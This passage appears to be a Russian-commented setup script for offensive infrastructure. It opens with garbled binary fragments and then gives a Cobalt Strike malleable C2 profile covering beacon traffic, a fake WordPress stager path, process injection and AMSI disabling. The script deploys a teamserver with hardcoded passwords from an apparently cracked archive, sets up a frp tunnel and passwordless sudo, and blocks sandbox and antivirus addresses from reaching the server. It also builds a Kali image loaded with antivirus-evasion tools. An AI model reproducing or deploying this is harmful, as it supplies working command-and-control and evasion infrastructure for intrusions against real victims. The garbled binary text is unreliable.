.C.....v+..C...D$...C...D$..8....D$.+...C.......:.........&R....
\"R..........u...C....E......C.........*
.C......L$..
,R....@+
.C...
.C....
0R..It6..*t(......t............C.....D$.....:..C...    .\\$............u...][email protected]..+\\$....L$.*.....L$..
,R....@+......C...|$ Z...u...
(R....+.......5 C...L$...T.
..|$ Z....9u...
(R....+.......5 C...D$....@+L$..L$$....L$........=p..._^[...............S.$.U.l$.VW.{...;.......+.9|$..B|$.;.u.../9F........~...F.r...U......j......_..^][.............F.;.s..v.W.A.....tj.{..r....~..r*...(..u..~....r..._.....^][..._..^][..........t.W..+PQ.........~...~.r.....8..._^][.......8._..^][...hd........hd........hT....j...............S.\\$.V....tW.N....r.......;.rE...r........F...;.v1...r..t$.....+.SV.....^[....t$.....+.SV.....^[...W.|$....wz.F.;.s..v...W.!.....t\\.~..r(...&..u..~....r
.._.....^[....._^[..........t.WSP.........~...~.r.....8..._^[.......8._..^[...hT....m..................V...L$.W.~.;.r{.T$...+.;.w!.~...N.r
.._......^....._^.........tC.~..r.......+.S.....+.t.P...PS.........~...~.[r
....8..._^.......8._..^...hd....................U..j.h@...d.....P...SVW..0..3.P.E.d......e....u..E.........v....'.^..............;.v.......<.+.;.v.......O..E.....3..E...tF...w.Q.........E...u1......E..M..E.@.e.P.E........E..%.....}..E..u..E..]...tH.~..r1.../.u..~..r
.6........j..F......F.....j.............t.SQP.........~..r
.6.........E.......~..^....r........M.d.
....Y_^[..].......D$.3...t....w.P.,..........t............U...=..........t..M.9.t
....x..u.3.]..@.].U...=,.....(...t..M.9.t
....x..u.3.]..@.].U..V.u...............^]...U..V.u....A...........^]...U..V.u....&...........^]...U..V.u..........(.....^]...................U..V..............E..t.V.I...Y..^]...U..V........E..t.V.*...Y..^]...U.....j..E..E.....P.M..t...h.....E..E.....P.>....U......E..M..E..E.P.!...h.....E..E.....P......U......E..M..E..E.P.....h.....E..E.(...P......;";
            print;
        }
    }
}

###HTTP-Post Block###

http-post {
    set uri "/post.php";
    set verb "POST";
    client {
    header "Accept" "*/*";
        header "Cache-Control" "no-cache";
        header "Host" "wmwifbajxxbcxmucxmlc.com";
        header "Connection" "close";
        output {
            base64url;
        parameter "FE8hVs3";
        }
        id {
        base64url;
        parameter "id";
        }
    }
    server {
        header "Server" "nginx";
        header "Content-Type" "text/html; charset=UTF-8";
        header "Connection" "close";
        output {
            netbios;
            prepend "..\"N ......0.9..5......Tb....\"shb.fL.....t....u.......s...D.{...Qv&[email protected]$..y.q,P....Nn~..O    .[..Lo..{.Z.....yKd.B..o.M>..J...~n.D0..Bm.:.Tx...    [email protected]..!.%...BC.\\I.7C..U..X..D.4....h........'m......gXaQ..<.....X..]...%5.Fx.LO..D._I~.@$.R[..p...<";
            append ">2...........{..\"..~=....._...Nu...s.mm.....u..lV..r......g2)r.w.'G2.*Y.i.,.9...o...t..zhX.h....K=........AS";
            print;
        }
    }
}

###HTTP-Stager Block###
http-stager {
    set uri_x86 "/wp-content/themes/wp-front.php";
    set uri_x64 "/wp-content/themes/wp_data.php";
    client {
        header "Host" "wmwifbajxxbcxmucxmlc.com";
        header "Connection" "Keep-Alive";
    }
    server {
        header "Server" "nginx";
        header "Content-Type" "text/html; charset=UTF-8";
        header "Connection" "close";
    output {
        print;
    }
    }
}


###Malleable PE/Stage Block###

#filled this out best I could.
stage {
    set checksum        "0";
    set compile_time    "16 Apr 2020 17:56:00";
    set entry_point     "170000";
    set image_size_x86 "740000";
    set image_size_x64 "740000";
    set name            "WWanMM.dll";
    set userwx             "false";
    set cleanup            "false";
    set sleep_mask    "false";
    set stomppe            "false";
    set obfuscate    "false";
    set rich_header     "";
    set sleep_mask "false";

    set module_x86 "wwanmm.dll";
    set module_x64 "wwanmm.dll";

    transform-x86 {
        prepend "\x90\x90\x90";
        strrep "ReflectiveLoader" "";
        strrep "beacon.dll" "";
        }

    transform-x64 {
        prepend "\x90\x90\x90";
        strrep "ReflectiveLoader" "";
        strrep "beacon.x64.dll" "";
        }

    string "{EE 03 00 00 E9 03 00 00 EE 03 00 00 EF 03 00 00 F0 03 00 00 EE 03 00 00 EE 03 00 00 EA 03 00 00 EC 03 00 00 EB 03 00 00 ED 03 00 00}";
    string "{55 89 e5 53 57 56 8b ?? ?? 85 f6 74 ?? 8b ?? ?? 6a 00 53 e8 ?? ?? ?? ?? 83 c4 08 a8 01 75 ?? 8b ?? ?? ?? ?? ?? 89 f9 e8 ?? ?? ?? ?? 89 c1 0f ?? ?? 66 ?? ?? 66 ?? ?? 74 ?? bb 01 00 00 00 eb ?? 89 d8 99 f7 f9 0f ?? ?? ?? 8b ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 8d ?? ?? 74 ?? 8d ?? ?? 66 83 fa 5f 72 ?? 66 83 f8 0d 77 ?? ba 00 26 00 00 0f a3 c2 72 ?? eb ?? 31 f6 eb ?? 89 de eb ?? 8b ?? ?? 89 f0 5e 5f 5b 5d c3}";
}

###Process Inject Block###
process-inject {

    set allocator "NtMapViewOfSection";
    set min_alloc "16700";
    set userwx "false";
    set startrwx "false";
    transform-x86 {
        prepend "\x90\x90\x90";
    }
    transform-x64 {
        prepend "\x90\x90\x90";
    }
    execute {
        CreateThread;
        CreateRemoteThread;
        CreateThread "ntdll.dll!RtlUserThreadStart+0x1000";
        SetThreadContext;
        NtQueueApcThread-s;
        CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";
        RtlCreateUserThread;
    }
}

###Post-Ex Block###
post-ex {
    set spawnto_x86 "%windir%\\syswow64\\svchost.exe";
    set spawnto_x64 "%windir%\\sysnative\\svchost.exe";
    set obfuscate "true";
    set smartinject "true";
    set amsi_disable "true";
}
EOF

cat<<'EOF'>/usr/local/bin/ts
#!/bin/bash
cd /opt/cobaltstrike ;  hname="$(hostname)" ;
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=41447 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=p@ssw0rd -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer "$(dig $hname +short A)" p@ssw0rd url.profile "$(date --date='1 year' -u +'%Y-%m-%d')"
EOF
chmod +x /usr/local/bin/ts

cat<<'EOF'>/etc/systemd/system/teamserver.service
[Unit]
Description=teamserver

[Service]
ExecStart=sudo /usr/local/bin/ts
WorkingDirectory=/opt/cobaltstrike
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF
systemctl enable teamserver ; systemctl start teamserver

#frp - expose noVNC port
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frps /usr/bin/

cat<<'EOF'>/usr/local/bin/frps.ini
[common]
bind_port = 7000
EOF

cat<<'EOF'>/etc/systemd/system/frps.service
[Unit]
Description=Frp Server Service
After=network.target
[Service]
Type=simple
User=nobody
Restart=on-failure
RestartSec=5s
ExecStart=/usr/bin/frps -c /usr/local/bin/frps.ini
[Install]
WantedBy=multi-user.target
EOF
systemctl enable frps ; systemctl start frps

#sudoers
cat<<'EOF'> /etc/sudoers
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
root    ALL=(ALL) NOPASSWD: ALL
gvm     ALL=(ALL) NOPASSWD: ALL
%sudo   ALL=(ALL) NOPASSWD: ALL
@includedir /etc/sudoers.d
EOF

#GVM
useradd gvm ; usermod -aG docker gvm ; usermod -aG sudo gvm ; mkdir /opt/gvm-data ; chown -hR gvm:gvm /opt/gvm-data
docker run --detach --publish 8080:9392 --publish 5432:5432 --publish 2222:22 --env DB_PASSWORD="postgres DB password" --env PASSWORD="webUI password" --volume gvm-data:/data --name gvm securecompliance/gvm ; chown -hR gvm:gvm /opt/gvm-data
echo "sed -i '1 achown -hR gvm:gvm /data' /start.sh" > /tmp/gvmcmd
echo 'useradd gvm ; usermod -aG sudo gvm' >> /tmp/gvmcmd ; echo 'chown -hR gvm:gvm /usr/local/var/lib/gvm' >> /tmp/gvmcmd
echo 'chown -hR gvm:gvm /data' >> /tmp/gvmcmd ; chmod +x /tmp/gvmcmd ; docker cp /tmp/gvmcmd gvm:/chowngvmdata ; docker exec -ti gvm ./chowngvmdata

#PATROWL
sleep 20 ; cd /opt ; git clone https://github.com/Patrowl/PatrowlHears  ; cd /opt/PatrowlHears ; docker-compose up -d
docker-compose exec patrowlhears bash -c 'cd backend_app && ./load_init_data.sh'
docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'
(crontab -l | grep . ; echo -e "* * */1 * *  cd /opt/PatrowlHears && docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'") | crontab -

#badboyz
cat<<'EOF'>/usr/local/bin/goodboyz
#!/bin/bash
ipset -q flush goodboyz ; ipset -q create goodboyz nethash
for ip in $(curl -s https://gist.githubusercontent.com/curi0usJack/971385e8334e189d93a6cb4671238b10/raw | \
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\/(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"); \
do ipset add goodboyz $ip ; done
iptables -A INPUT -m set --match-set goodboyz src -j DROP
iptables -A FORWARD -m set --match-set goodboyz src -j DROP
EOF
chmod +x /usr/local/bin/goodboyz ; goodboyz

#В итоге мы получим необходимую базу, в которую вошли:
#----------------
#*cobalt-strike* сервер + malleable profile, который позволит Вам генерировать более устойчивый и "чистый" шеллкод
#*transfer.sh* -  на :4466 порту - наверное самую необходимую в нашем нелегком деле штуку - очень быструю и понятную передачу файлов, как посредством curl `curl --upload-file /path/to/your/file https://your.domen:4466/any`, так и посредством веб-интерфейса https://your.domen:4466
#*VPS* - В числе улучшений - dnscrypt-proxy, выбранный по-умолчанию. т.к. в защите нуждаются не только TCP но и UDP трафик исходящий и поступающий на сервер, корректировка разных системных параметров, например поднятие числа -ulimit -n, создали SWAP и пр.
#*https-сертификат*, который нам понадобится для решения абсолютно разных задач. Он так же необходим cobalt-серверу, HTTPS-биконы с "правильным" сертификатом то-самое)
#*в sshd" были внесены две строчки, которые запрещают подключение по-паролю (КАК?? Вам никто не говорил их создавать и первыми делом
#*goodboyz* - спарсит один известный гист, в котором неравнодушные граждане делятся адресами и регексом ботов, песочниц, антивирусов и других нехороших редисок в правила iptables и ipset, с помощью которых мы прост заблокируем доступ 50-60% нашим основным непрятностям
#*в grub* - так же были внесены изменения, направленные на улучшение быстродействия и повышения уровня безопасноти ВПС
#---------------
  #Помимо CobaltStrike сервера, так же в докер-контейнерах были подняты:
  #GVM - народный любимец и безусловный лидер в сегменте сетевых сканеров, так же известный как OpenVas
  #Ну и наконец был поднят контейнер с PatrowlHears, который является аналогом exploitdb, только, по моему мнение более удобным и "объемным"

#DEFINE: _DOCKERSCRIPT

#Пришло время познакомится поближе с докером и создать образ, который будет являться ключевым в нашей сегодняшней работе..

cat > /tmp/start.sh << 'DOCKERSTART'
#!/bin/bash

export DEBIAN_FRONTEND=noninteractive
apt-get -y update && apt-get -y dist-upgrade
apt-get -y install kali-desktop-xfce sudo curl perl python-is-python2 python3 nodejs python3-pip python3-dev python2 bash wget git fontconfig mingw-w64 zsh fzf tigervnc-standalone-server dnsutils net-tools wget nano openjdk-11-jdk proxychains crackmapexec xfce4-terminal wine wine64 spiderfoot
apt-get -y purge resolvconf ; update-alternatives --set x-terminal-emulator /usr/bin/xfce4-terminal.wrapper


cat<<'EOF'>/etc/sudoers
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/local/bin:/root/.local/bin:/root/.local/bin:$NPM_PACKAGES/bin:/bin:/usr/llvm-mingw"
root    ALL=(ALL) NOPASSWD: ALL
x       ALL=(ALL) NOPASSWD: ALL
%sudo   ALL=(ALL) NOPASSWD: ALL
EOF

#install pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py

#golang latest
wget -O /tmp/go.tar.gz https://dl.google.com/go/go1.16.5.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf /tmp/go.tar.gz ; export GOROOT=/usr/local/go ; export PATH=$PATH:/usr/local/go/bin

#PEzor true install
git clone https://github.com/phra/PEzor /opt/PEzor ; cd /opt/PEzor ; git pull ; sed -i 's+golang++g' install.sh ;  printf "Y" | bash install.sh
pezc="/opt/PEzor/PEzor.sh" ; sed -i 's+SGN=false+SGN=true+g' $pezc
sed -i 's+BLOB=false+BLOB=true+g' $pezc ; sed -i 's+FORCED_BITS=false+FORCED_BITS=true+g' $pezc ; sed -i 's+SYSCALLS=false+SYSCALLS=true+g' $pezc
sed -i 's+UNHOOK=false+UNHOOK=true+g' $pezc ; sed -i 's+ANTIDEBUG=false+ANTIDEBUG=true+g' $pezc ; sed -i 's+SDK=4.0+SDK=4.8+g' $pezc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.bashrc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.zshrc

#zsh-terminal-modiifications
cd ; git clone https://github.com/jotyGill/quickz-sh.git ; cd quickz-sh
./quickz.sh ; rm -r ../quickz-sh ; fc-cache -fv
cd /root ; curl -L https://cpanmin.us/ -o /usr/bin/cpanm ; chmod +x /usr/bin/cpanm ; alias cpan=cpanm
yes | cpan Term::ExtendedColor
yes | cpan File::LsColor
git clone git://github.com/trapd00r/ls--.git ; cd ls-- ; perl Makefile.PL ; make && make install ; cp ls++.conf $HOME/.ls++.conf
chsh --shell=/bin/zsh root
wget -O /tmp/theme.tar https://gitlab.com/x4k/pub/-/raw/master/theme.tar ; tar xf /tmp/theme.tar -C /usr/share/themes/

cat<<'EOF'>/root/.zshrc
export PATH=/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

if [[ -r "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh" ]]; then
  source "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh"
fi

export TERM="xterm-256color"
export ZSH=$HOME/.oh-my-zsh
POWERLEVEL9K_MODE='nerdfont-complete'
ZSH_THEME="powerlevel10k/powerlevel10k"
POWERLEVEL9K_OS_ICON_BACKGROUND="white"
POWERLEVEL9K_OS_ICON_FOREGROUND="blue"
POWERLEVEL9K_DIR_HOME_FOREGROUND="white"
POWERLEVEL9K_DIR_HOME_SUBFOLDER_FOREGROUND="white"
POWERLEVEL9K_DIR_DEFAULT_FOREGROUND="white"
POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS=(virtualenv status command_execution_time background_jobs todo ram load rvm time)
POWERLEVEL9K_LEFT_PROMPT_ELEMENTS=(ssh os_icon context dir rbenv vcs)
POWERLEVEL9K_PROMPT_ON_NEWLINE=true

plugins=(
    zsh-completions
    zsh-autosuggestions
    history-substring-search
    python
    httpie
    docker
    lol
    pip
    screen
    systemd
    k
    zsh-syntax-highlighting
  )

source $ZSH/oh-my-zsh.sh
export LANG=en_US.UTF-8
export PATH=$PATH:~/.local/bin

NPM_PACKAGES="${HOME}/.npm"
PATH="$NPM_PACKAGES/bin:$PATH"

[ -f ~/.fzf.zsh ] && source ~/.fzf.zsh
export FZF_DEFAULT_OPS="--extended"
export MARKER_KEY_NEXT_PLACEHOLDER="\C-b"
[[ -s "$HOME/.local/share/marker/marker.sh" ]] && source "$HOME/.local/share/marker/marker.sh"
export PATH=$PATH:~/.quickzsh/todo/bin
autoload -U compinit && compinit
SAVEHIST=50000

speedtest() {
    curl -s https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py | python3 -
}

source ~/.p10k.zsh

alias l="ls++ --potsf"
alias la="ls++ -a --potsf"
EOF
cat<<'EOF'>/root/.p10k.zsh
'builtin' 'local' '-a' 'p10k_config_opts'
[[ ! -o 'aliases'         ]] || p10k_config_opts+=('aliases')
[[ ! -o 'sh_glob'         ]] || p10k_config_opts+=('sh_glob')
[[ ! -o 'no_brace_expand' ]] || p10k_config_opts+=('no_brace_expand')
'builtin' 'setopt' 'no_aliases' 'no_sh_glob' 'brace_expand'

() {
  emulate -L zsh
  unset -m 'POWERLEVEL9K_*|DEFAULT_USER'
  autoload -Uz is-at-least && is-at-least 5.1 || return

  local grey='242'
  local red='1'
  local yellow='3'
  local blue='4'
  local magenta='5'
  local cyan='6'
  local white='7'

  typeset -g POWERLEVEL9K_LEFT_PROMPT_ELEMENTS=(
    context
    dir
    command_execution_time
    newline
    virtualenv
    prompt_char
  )

  typeset -g POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS=(
    command_execution_time
    public_ip
    newline
  )

  typeset -g POWERLEVEL9K_BACKGROUND=
  typeset -g POWERLEVEL9K_{LEFT,RIGHT}_{LEFT,RIGHT}_WHITESPACE=
  typeset -g POWERLEVEL9K_{LEFT,RIGHT}_SUBSEGMENT_SEPARATOR=' '
  typeset -g POWERLEVEL9K_{LEFT,RIGHT}_SEGMENT_SEPARATOR=
  typeset -g POWERLEVEL9K_VISUAL_IDENTIFIER_EXPANSION=
  typeset -g POWERLEVEL9K_PROMPT_ADD_NEWLINE=true
  typeset -g POWERLEVEL9K_PROMPT_CHAR_OK_{VIINS,VICMD,VIVIS}_FOREGROUND=$magenta
  typeset -g POWERLEVEL9K_PROMPT_CHAR_ERROR_{VIINS,VICMD,VIVIS}_FOREGROUND=$red
  typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIINS_CONTENT_EXPANSION='❯'
  typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VICMD_CONTENT_EXPANSION='❮'
  typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIVIS_CONTENT_EXPANSION='❮'
  typeset -g POWERLEVEL9K_PROMPT_CHAR_OVERWRITE_STATE=false
  typeset -g POWERLEVEL9K_VIRTUALENV_FOREGROUND=$grey
  typeset -g POWERLEVEL9K_VIRTUALENV_SHOW_PYTHON_VERSION=false
  typeset -g POWERLEVEL9K_VIRTUALENV_{LEFT,RIGHT}_DELIMITER=
  typeset -g POWERLEVEL9K_DIR_FOREGROUND=$blue
  typeset -g POWERLEVEL9K_CONTEXT_ROOT_TEMPLATE="%F{$white}%n%f%F{$grey}@%m%f"
  typeset -g POWERLEVEL9K_CONTEXT_TEMPLATE="%F{$grey}%n@%m%f"
  typeset -g POWERLEVEL9K_CONTEXT_{DEFAULT,SUDO}_CONTENT_EXPANSION=
  typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_THRESHOLD=5
  typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_PRECISION=0
  typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_FORMAT='d h m s'
  typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_FOREGROUND=$yellow
  typeset -g POWERLEVEL9K_VCS_FOREGROUND=$grey
  typeset -g POWERLEVEL9K_VCS_LOADING_TEXT=
  typeset -g POWERLEVEL9K_VCS_MAX_SYNC_LATENCY_SECONDS=0
  typeset -g POWERLEVEL9K_VCS_{INCOMING,OUTGOING}_CHANGESFORMAT_FOREGROUND=$cyan
  typeset -g POWERLEVEL9K_VCS_GIT_HOOKS=(vcs-detect-changes git-untracked git-aheadbehind)
  typeset -g POWERLEVEL9K_VCS_BRANCH_ICON=
  typeset -g POWERLEVEL9K_VCS_COMMIT_ICON='@'
  typeset -g POWERLEVEL9K_VCS_{STAGED,UNSTAGED,UNTRACKED}_ICON=
  typeset -g POWERLEVEL9K_VCS_DIRTY_ICON='*'
  typeset -g POWERLEVEL9K_VCS_INCOMING_CHANGES_ICON=':⇣'
  typeset -g POWERLEVEL9K_VCS_OUTGOING_CHANGES_ICON=':⇡'
  typeset -g POWERLEVEL9K_VCS_{COMMITS_AHEAD,COMMITS_BEHIND}_MAX_NUM=1
  typeset -g POWERLEVEL9K_VCS_CONTENT_EXPANSION='${${${P9K_CONTENT/⇣* :⇡/⇣⇡}// }//:/ }'
  typeset -g POWERLEVEL9K_TIME_FOREGROUND=$grey
  typeset -g POWERLEVEL9K_TIME_FORMAT='%D{%H:%M:%S}'
  typeset -g POWERLEVEL9K_TIME_UPDATE_ON_COMMAND=false
  typeset -g POWERLEVEL9K_TRANSIENT_PROMPT=off
  typeset -g POWERLEVEL9K_INSTANT_PROMPT=off
  typeset -g POWERLEVEL9K_DISABLE_HOT_RELOAD=true
  (( ! $+functions[p10k] )) || p10k reload
}

typeset -g POWERLEVEL9K_CONFIG_FILE=${${(%):-%x}:a}

(( ${#p10k_config_opts} )) && setopt ${p10k_config_opts[@]}
'builtin' 'unset' 'p10k_config_opts'
EOF

#bat
sleep 2 ; wget -O /tmp/bat.deb $(curl -sL https://api.github.com/repos/sharkdp/bat/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4) && dpkg -i /tmp/bat.deb ; apt-get -y -f install ; echo alias cat="bat --paging never -p --theme 'Monokai Extended Origin'" >> /root/.zshrc

#nanorc
cd
wget -nv --show-progress https://raw.githubusercontent.com/ritiek/nanorc/master/install.sh -O- | bash
#dnsleaktest
wget -nv --show-progress https://raw.githubusercontent.com/macvk/dnsleaktest/master/dnsleaktest.sh && mv dnsleaktest.sh /usr/bin/dnsleak && chmod +x /usr/bin/dnsleak

#ls_colors
mkdir /tmp/LS_COLORS && curl -sL https://api.github.com/repos/trapd00r/LS_COLORS/tarball/master | tar xzf - --directory=/tmp/LS_COLORS --strip=1 &> /dev/null
( cd /tmp/LS_COLORS && sh install.sh ) &> /dev/null

#/////////// SOME TOOLZ /////////////////

#cobaltstrike
wget -O /tmp/cs.zip https://repo.x4k.dev/cobalt_xss.zip ; mkdir /opt/cobaltstrike ; unzip -P xss.is /tmp/cs.zip -d /opt/cobaltstrike ; sleep 1
echo 'cd /opt/cobaltstrike && ./start.sh' > /usr/local/bin/cobaltstrike ; chmod +x /usr/local/bin/cobaltstrike
cat<<'EOF'>/usr/share/applications/cobaltstrike.desktop
[Desktop Entry]
Name=Cobalt-Strike
GenericName=Cobalt-Strike
Exec=sudo cobaltstrike
Icon=kali-cadaver
Terminal=false
Type=Application
EOF

#ghidra - NSA reverse
wget -O /tmp/gh.zip $(curl -sL https://api.github.com/repos/******************************alSecurityAgency/ghidra/releases/latest | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4)
unzip /tmp/gh.zip -d /tmp/ ; mv /tmp/ghidra* /usr/share/ghidra
cat<<'EOF'>/usr/share/applications/ghidra.desktop
[Desktop Entry]
Name=ghidra
Exec=sudo /usr/share/ghidra/ghidraRun
Icon=ghidra
StartupNotify=false
Terminal=false
Type=Application
EOF

#rustscan
wget -O /opt/rustscan.deb $(curl -sL https://api.github.com/repos/RustScan/RustScan/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4) && dpkg -i /opt/rustscan.deb ; apt-get -y -f install

#oneforall-install
cd /opt
git clone https://github.com/shmilylty/OneForAll.git
mv OneForAll oneforall
cd oneforall
python3 -m pip install -r requirements.txt
cat<<'EOF'>/usr/bin/oneforall
#!/bin/bash
cd /opt/customdir/oneforall
python3 oneforall.py --target $1 run
EOF
chmod +x /usr/bin/oneforall

#pwncat
python3 -m pip install pwncat pe-tree

#chimera
git clone https://github.com/tokyoneon/Chimera /opt/chimera --depth 1

#trans - Google-translate-cli
wget -O /usr/bin/trans git.io/trans && chmod +x /usr/bin/trans

#one-lin3r
pip3 install one-lin3r pefile

#garble
GO111MODULE=on go get mvdan.cc/garble

#scarecrow
git clone https://github.com/optiv/ScareCrow /opt/ScareCrow ; cd /opt/ScareCrow
apt-get -y install osslsigncode ; go get github.com/fatih/color ; go get github.com/yeka/zip ; go get github.com/josephspurrier/goversioninfo
go build . ; mv ScareCrow /usr/local/bin ; cd /opt ; rm -r ScareCrow

#Creds - Windows-Helpers
git clone --raecurse-submodules https://github.com/vxunderground/WinAPI-Tricks /opt/WinAPI-Tricks
git clone --recurse-submodules https://github.com/S3cur3Th1sSh1t/Creds.git /opt/S3cur3Th1sSh1t
git clone --recurse-submodules https://github.com/mgeeky/Penetration-Testing-Tools /opt/mcgeeky
apt-get -y install nishang ; ln -s /usr/share/nishang /opt/nishang

#pe-tree
pip3 install pe-tree libtmux docutils

#ARSENAL CHEATSHIT
git clone https://github.com/Orange-Cyberdefense/arsenal.git /usr/share/myarsenal
ln -s /usr/share/myarsenal/run /usr/local/bin/arsenal ; echo 'alias a="arsenal"' >> /root/.zshrc ; echo "bindkey -s '^g' 'a\n'" >> /root/.zshrc

#TDM-GCC compiller
wget -O /tmp/tdm.7z https://repo.x4k.dev/tdm.7z ; rm -r /root/.wine &> /dev/null ; mkdir /root/.wine ; cd /root/.wine ; 7z x /tmp/tdm.7z

#install wine32
dpkg --add-architecture i386 && apt-get update && apt-get -y install wine32 wine64

#install icons
wget -qO- https://git.io/papirus-icon-theme-install | sh

#torbrowser
version="$(curl -s https://tor.eff.org/dist/torbrowser/ | grep href | grep -v h1 | grep -v update | cut -d'>' -f2 | cut -d'/' -f1 | tail -n1)"
wget -O /tmp/t.tar https://tor.eff.org/dist/torbrowser/"$version"/tor-browser-linux64-"$version"_en-US.tar.xz ; mkdir -p /root/.local/share
tar xf /tmp/t.tar -C /root/.local/share/ ; ln /root/.local/share/tor-browser_en-US/start-tor-browser.desktop  /usr/share/applications/

#/////// noVNC and docker entrypoint.sh ///////
git clone https://github.com/novnc/noVNC /usr/share/noVNC ; ln -s /usr/share/noVNC/vnc.html /usr/share/noVNC/index.html

#nvm
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash
export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")" ; [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
nvm install --lts ; nvm use --lts

#frp
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frpc /usr/bin/

cat<<EOF>/usr/local/bin/frpc.ini
[common]
server_addr = DOCKERHOST
server_port = 7000
[vnc]
type = tcp
local_ip = 127.0.0.1
local_port = 6081
remote_port = 6080
use_compression = true
EOF

#terminal
cd /root/.config/xfce4/panel ; find . -type f -print0 | xargs -0 sed -i 's+exo-open --launch TerminalEmulator+xfce4-terminal+g'

#entrypoint
cat<'EOF'>/entrypoint.sh
#!/bin/bash
x1=$(hostname -I | cut -d' ' -f1) ; x2="p@ssw0rd" ; x4="p@ssw0rd"
echo root:$x2 | chpasswd ; mkdir -p /root/.vnc ; echo $x4 | vncpasswd -f > /root/.vnc/passwd
chmod 600 /root/.vnc/passwd ; rm -r /tmp/*
rm -r /root/Downloads/* /root/.zsh_history /root/.zcomp* /root/.ssh/known_hosts /root/.vnc/*.pid /root/.vnc/*.log /tmp/.X11-unix/X1 /tmp/.X1-lock
unset x1 x2 x4 ; sleep 1 ; sudo chown root:messagebus /usr/lib/dbus-1.0/dbus-daemon-launch-helper ; sudo chmod 4754 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared --AcceptSetDesktopSize ; sleep 3
while [ -z "$(netstat -antp | grep tiger)" ] ; do vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared --AcceptSetDesktopSize ; sleep 1 ; done
ssh-keygen -H >> /root/.ssh/known_hosts ; sip="$(dig $HOSTNAME +short A)"
cd /usr/share/noVNC/utils ; ./novnc_proxy --listen 127.0.0.1:6081 --vnc 127.0.0.1:5901 &
frpc -c /usr/local/bin/frpc.ini &
killall tigervncconfig ; chmod 1777 /tmp
spiderfoot -l 127.0.0.1:53137
EOF
chmod +x /entrypoint.sh
DOCKERSTART

sed -i "s+DOCKERHOST+$(hostname)+g" /tmp/start.sh ; chmod +x /tmp/start.sh ; docker run -ti -d --name super_os kalilinux/kali-rolling bash
docker cp /tmp/start.sh super_os:/start.sh ; docker exec -ti super_os /start.sh

#В образ ОС, помимо окружения xfce4 вошли так же необходимые инструменты, которые позволят пользователю, как новичку, так уже и "бывалому" уменьшить время на проведение рутинных работ, инструменты для обфускации кода и другие. Вот список, который показался мне интересным и полезным:
#*golang* мы намеренно не установили из родного репо, т.к. компиляция некоторых инструментов требует последней доступной версии. именно ее мы и установили в систему
#*zsh, bat, nanorc, ls++* призваны сделать работы с командной строкой не только красочной, но и намного более комфортной, нежели со стандартным zsh или bash, которые представлены в репо
#*ghidra* так же самой последней возможной версией. если кто не в курсе - это декомпилятор, который мы увидели в связи с утечкой NSA 'ShadowBrokers'. NSA (это Агенство ********************ональной Безопасности Америки) и по сей день активно занимаются гидрой. Спасибо)
#*trans* перевод в вашем терминале от Google. trans 'Привет как дела?' -t en
#*oneforall* - это супербыстрый поиск субдоменов, доменов и айпи-адресов нужного вам ресурса
#*pwncat* - думаю в представлении не нуждается.. да, это тот самый "прокачанный netcat".
